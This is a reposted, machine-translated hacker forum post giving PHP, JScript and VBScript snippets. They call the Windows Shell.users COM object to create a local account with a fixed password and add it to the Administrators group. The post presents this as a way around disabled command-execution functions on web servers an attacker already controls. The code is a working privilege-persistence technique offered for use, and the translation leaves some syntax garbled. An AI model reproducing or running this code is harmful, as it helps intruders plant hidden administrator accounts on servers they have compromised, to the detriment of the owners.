Topic Author: cyberh4ck[Nanquan Daddy]
Author: Nanquan Daddy reprint Please specify the source hi.baidu.com/Nanquan Daddy
09 Time LCX wrote the JS version and VBS version of the Shell.users Plus administrator account method, and then I want to change it to PHP version,
Because the code is not analyzed accurately enough, it is only recently written, when PHP executes the command functions such as Exec,system,shell_exec,proc_open,passthru,popen
And the Wscript.Shell build is disabled, this may be an opportunity.
The code is as follows:
echo "PHP version shell.users plus Administrator account ";
$username = "Iceskin";
$password = "skin.com";
$su = new COM ("Shell.users");
$h = $su->create ($username);
$h->changepassword ($password, "");
$h->setting["AccountType"] = 3;//This sentence is important to add users to the Administrators group,
?>
As follows:
The Web server built for Apache can perform successfully and IIS seems to have insufficient permissions, and the Web server built by Nginx and LIGHTTPD has not been tested yet.
Here is the code for LCX
Js:
var o=new activexobject ("Shell.users");
Z=o.create ("test");
Z.changepassword ("123456", "" ")
Z.setting ("accounttype") = 3;
vbs
Set o=createobject ("Shell.users")
Set z=o.create ("test")
Z.changepassword "123456", "" "
Z.setting ("AccountType") =3
[This post was last edited by Cyberh4ck on 2011-5-29 14:33]
http://www.bkjia.com/PHPjc/478819.html www.bkjia.com true http://www.bkjia.com/PHPjc/478819.html techarticle Topic Author: cyberh4ck[Nanquan Daddy] Author: Nanquan Daddy reprint Please specify the source hi.baidu.com/Nanquan Daddy 09 years when LCX wrote the JS version and the VBS version of the Shell.users plus Administrator account ... /c5>